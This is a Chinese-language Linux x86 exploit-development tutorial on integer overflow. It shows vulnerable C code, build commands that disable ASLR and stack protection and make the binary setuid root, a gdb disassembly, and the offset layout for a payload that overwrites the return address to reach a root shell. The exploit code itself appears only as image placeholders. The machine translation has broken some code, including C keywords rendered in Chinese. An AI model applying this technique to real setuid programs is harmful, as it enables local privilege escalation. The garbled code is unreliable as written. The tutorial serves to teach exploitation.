1. 程式人生 > >Linux (x86) Exploit 開發系列教程之二(整數溢出)

Linux (x86) Exploit 開發系列教程之二(整數溢出)

exec spa 整數 rcp argc roc arp 密碼 b+

(1)漏洞代碼

//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void store_passwd_indb(char * passwd){
}
void validate_uname(char * uname){
}
void validate_passwd(char * passwd){
 char passwd_buf [11];
 unsigned char passwd_len = strlen(passwd); / * [1] * /
 if(passwd_len> = 4 && passwd_len <= 8){/ * [2] * /
  printf(“有效密碼\ n”); / * [3] * /
  fflush(stdout);
  strcpy(passwd_buf,passwd); / * [4] * /
 } else {
  printf(“Invalid Password \ n”); / * [5] * /
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); / * [6] * /
}
int main(int argc,char * argv []){
 if(argc!= 3){
  printf(“Usage Error:\ n”);
  fflush(stdout);
  退出(-1);
 }
 validate_uname(argv [1]);
 validate_passwd(argv [2]);
 返回0;
}

(2)編譯文件

sudo sh -c "echo 0> / proc / sys / kernel / randomize_va_space"
 gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
 sudo chown root vuln
 sudo chgrp root vuln
 sudo chmod + s vuln

(3)原理:

上述漏洞代碼的[1]行顯示了一個整數溢出錯誤。strlen()的返回類型是size_t(unsigned int),它存儲在unsigned char數據類型中。因此,任何大於unsigned char的最大支持值(255)的值都會導致整數溢出。因此當密碼長度為261時,261將被包裹並存儲為“passwd_len”變量中的5!由於這個整數溢出,可以繞過行[2]執行的邊界檢查,從而導致基於堆棧的緩沖區溢出!

(4)反匯編並繪制出漏洞代碼的堆棧布局

gdb-peda$ disassemble validate_passwd 
Dump of assembler code for function validate_passwd:
   0x0804849e <+0>:	push   ebp
   0x0804849f <+1>:	mov    ebp,esp
   0x080484a1 <+3>:	push   edi
   0x080484a2 <+4>:	sub    esp,0x34
   0x080484a5 <+7>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484a8 <+10>:	mov    DWORD PTR [ebp-0x1c],0xffffffff
   0x080484af <+17>:	mov    edx,eax
   0x080484b1 <+19>:	mov    eax,0x0
   0x080484b6 <+24>:	mov    ecx,DWORD PTR [ebp-0x1c]
   0x080484b9 <+27>:	mov    edi,edx
   0x080484bb <+29>:	repnz scas al,BYTE PTR es:[edi]
   0x080484bd <+31>:	mov    eax,ecx
   0x080484bf <+33>:	not    eax
   0x080484c1 <+35>:	sub    eax,0x1
   0x080484c4 <+38>:	mov    BYTE PTR [ebp-0x9],al
   0x080484c7 <+41>:	cmp    BYTE PTR [ebp-0x9],0x3
   0x080484cb <+45>:	jbe    0x8048500 <validate_passwd+98>
   0x080484cd <+47>:	cmp    BYTE PTR [ebp-0x9],0x8
   0x080484d1 <+51>:	ja     0x8048500 <validate_passwd+98>
   0x080484d3 <+53>:	mov    DWORD PTR [esp],0x8048660
   0x080484da <+60>:	call   0x80483a0 <[email protected]>
   0x080484df <+65>:	mov    eax,ds:0x804a020
   0x080484e4 <+70>:	mov    DWORD PTR [esp],eax
   0x080484e7 <+73>:	call   0x8048380 <[email protected]>
   0x080484ec <+78>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484ef <+81>:	mov    DWORD PTR [esp+0x4],eax
   0x080484f3 <+85>:	lea    eax,[ebp-0x14]
   0x080484f6 <+88>:	mov    DWORD PTR [esp],eax
   0x080484f9 <+91>:	call   0x8048390 <[email protected]>
   0x080484fe <+96>:	jmp    0x8048519 <validate_passwd+123>
   0x08048500 <+98>:	mov    DWORD PTR [esp],0x804866f
   0x08048507 <+105>:	call   0x80483a0 <[email protected]>
   0x0804850c <+110>:	mov    eax,ds:0x804a020
   0x08048511 <+115>:	mov    DWORD PTR [esp],eax
   0x08048514 <+118>:	call   0x8048380 <[email protected]>
   0x08048519 <+123>:	lea    eax,[ebp-0x14]
   0x0804851c <+126>:	mov    DWORD PTR [esp],eax
   0x0804851f <+129>:	call   0x8048494 <store_passwd_indb>
   0x08048524 <+134>:	add    esp,0x34
   0x08048527 <+137>:	pop    edi
   0x08048528 <+138>:	pop    ebp
   0x08048529 <+139>:	ret    
End of assembler dump.

技術分享圖片

(5)當輸入長度為261的密碼,可以繞過邊界檢查,並允許我們覆蓋堆棧中的返回地址。測試:

技術分享圖片

EBP、EIP被覆蓋為四個A

(6)堆棧布局顯示返回地址位於緩沖區‘passwd_buf‘的偏移(0x18)處。0x18計算如下:0xb+0x1+0x4+0x4+0x4,因此當用戶輸入“A” * 24 + “B” * 4 + “C” * 233,以A覆蓋passwd_buf,passwd_len,對齊空間,edi和調用者的ebp,以“BBBB”覆蓋返回地址,以"C"覆蓋剩余空間.

技術分享圖片

(6)找出shellcode的起始地址。ret_addr可以選擇100個NOP裏。

技術分享圖片技術分享圖片

攻擊代碼如下:

技術分享圖片

運行,獲取到root shell權限

技術分享圖片

Linux (x86) Exploit 開發系列教程之二(整數溢出)